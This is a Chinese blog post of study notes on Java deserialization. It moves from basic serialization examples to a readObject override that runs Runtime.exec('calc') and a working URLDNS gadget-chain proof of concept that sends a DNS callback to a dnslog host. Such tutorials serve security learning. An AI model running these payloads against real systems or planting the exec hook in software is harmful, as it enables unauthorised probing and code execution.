java反序列化基础

  1. java反序列化基础
  2. 序列化与反序列化
    1. 几种创建的序列化和反序列化协议
    2. 代码展示
    3. Serializable 接口
  3. 引例
  4. URLDNS实战
    1. 复现

java反序列化基础

闲下来研究一下反序列化(虽然目前也不算是闲下来哩),但是总不能一直当脚本小子哩。下面的内容不是完全原创的,借鉴的别人的,毕竟是学习笔记。

序列化与反序列化

其实在之前学习php的时候就学过了

序列化:对象 -> 字符串
反序列化:字符串 -> 对象
序列化的好处
(1) 能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
(2) 利用序列化实现远程通信,在网络上传送对象的字节序列。
序列化与反序列化应用的场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过 RMI 传输对象的时候。

几种创建的序列化和反序列化协议

XML&SOAP
JSON
Protobuf

代码展示

类文件:Person.java

import java.io.Serializable;

public class Person implements Serializable {

    private String name;
    private int age;

    public Person(){

    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

序列化文件 SerializationTest.java

package src;

import src.Person;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        serialize(person);
    }
}

反序列化文件 UnserializeTest.java

package src;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}

运行结果

image-20230422174102802

image-20230422174116591

解析

  • SerializationTest.java

这里我们将代码进行了封装,将序列化功能封装进了 serialize这个方法里面,在序列化当中,我们通过这个FileOutputStream输出流对象,将序列化的对象输出到ser.bin当中。再调用 oos 的writeObject方法,将对象进行序列化操作。

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
  • UnserializeTest.java

进行反序列化

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();

Serializable 接口

(1) 序列化类的属性没有实现 Serializable那么在序列化就会报错

只有实现 了Serializable或者 Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)

Serializable 接口是 Java 提供的序列化接口,它是一个空接口,所以其实我们不需要实现什么。

public interface Serializable {
}

Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。如果我们此处将 Serializable 接口删除掉的话,会导致如下结果。

image-20230422174727670

(2) 在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。

(3)一个实现 Serializable接口的子类也是可以被序列化的。

(4) 静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

(5) transient 标识的对象成员变量不参与序列化

这里我们可以动手实操一下,将 Person.java中的name加上transient的类型标识。加完之后再跑我们的序列化与反序列化的两个程序,修改过程与运行结果如图所示。

image-20230422175104583

image-20230422175158916

image-20230422175211749

引例

网上找了个引例,加深我对代码的理解哩。

(1) 入口类的readObject直接调用危险方法

先创建一个恶意类Person

package src;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {
    String name;
    int age;
    public Person(String name,int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{"+
                "name='" + name +'\'' +
                ",age=" + age +
                '}';
    }
    private  void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

}
    private  void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");

这段代码就是弹计算器的。

先运行序列化程序 ———— “SerializationTest.java”,再运行反序列化程序 ———— “UnserializeTest.java”

这时候就会弹出计算器,也就是calc.exe,是不是帅的飞起哈哈。

image-20230422183019221

这是黑客最理想的情况,但是这种情况几乎不会出现。

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式执行

URLDNS实战

其实还是半懂不懂的,跟着大佬做一做实战。

出发点:URLDNS 在 Java 复杂的反序列化漏洞当中足够简单;URLDNS 就是 ysoserial 中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。

因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。

虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤。

使⽤ Java 内置的类构造,对第三⽅库没有依赖。

在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞 URL 类,调用openConnection方法,到此处的时候,其实openConnection不是常见函数,就已经难以利用了。

我们先去到 ysoserial 的项目当中,去看看它是如何构造 URLDNS 链的。

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

image-20230422183821562

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

URL 是由 HashMap 的put方法产生的,所以我们先跟进put方法当中。put方法之后又是调用了hash方法;hash方法则是调用了hashcode这一函数。

现在我们来实战分析一下,现在双击shift,输入hashmap.java来看看源码。

image-20230423191011519

URL 是由 HashMap 的put方法产生的,所以我们先跟进put方法当中。put方法之后又是调用了hash方法;hash方法则是调用了hashcode这一函数。

image-20230423191134968

image-20230423191156410

我们看到这个hashCode函数的变量名是 key;那这个 key 是啥啊?
噢 ~ 原来 key 是hash这一方法传进的参数!那我们前面写的 key 不就是这个东东吗 ~!

也就是put方法传入了一个key,最后hash方法中又调用了key的hashcode方法

hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);

// 传进去两个参数,key = 前面那串网址,value = 1

现在跟进URL,去看看 URL 跟进一堆之后的hashCode方法是如何实现的。

跟进 URL,我们肯定是要去寻找 URL 调用的函数的函数(的函数,应该还有好几个的函数,就不写出来了,不然大家就晕了)的hashCode方法。

在左边 Structure 直接寻找hashCode方法,URL 中的hashCodehandler这一对象所调用,handler又是URLStreamHandler的抽象类。我们再去找URLStreamHandlerhashCode方法。

image-20230423191919523

image-20230423192109083

image-20230423192225041

终于找到了,这个用于 URLDNS 的方法 ————getHostAddress

image-20230423192304530

这⾥InetAddress.getByName(host)的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。

所以,⾄此,整个 URLDNS 的Gadget其实清晰⼜简单:

HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

复现

SerializationTest.java文件下添加如下代码

HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);

serialize(hashmap);

image-20230423192620209

我们先把它序列化,按照道理来说,这个过程应该什么都不会发生对吧。

但是确实收到了dnslog信息

image-20230423192914961

还是从原理角度分析,我们回到 URL 这个对象,回到hashCode这里。

image-20230423193046221

我们发现,当hashCode的值不等于 -1 的时候,函数就会直接return hashCode而不执行hashCode = handler.hashCode(this);。而一开始定义 HashMap 类的时候hashCode的值为 -1,便是发起了请求。

所以我们在没有反序列化的情况下面,就收到了 DNS 请求,这是不正确的。

但是这里就涉及到关于反射的一个庞大知识体系,那个博主在这里也没有讲,直接放出poc

SerializationTest.java

package src;

import src.Person;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://h7xfte.dnslog.cn");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
    }
}

反序列化的文件无需更改

接着我们运行序列化文件,是收不到 DNS 请求的,而当我们运行反序列化的文件时候,可以收到请求,这就代表着我们的 URLDNS 链构造成功了。

image-20230423194403069


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。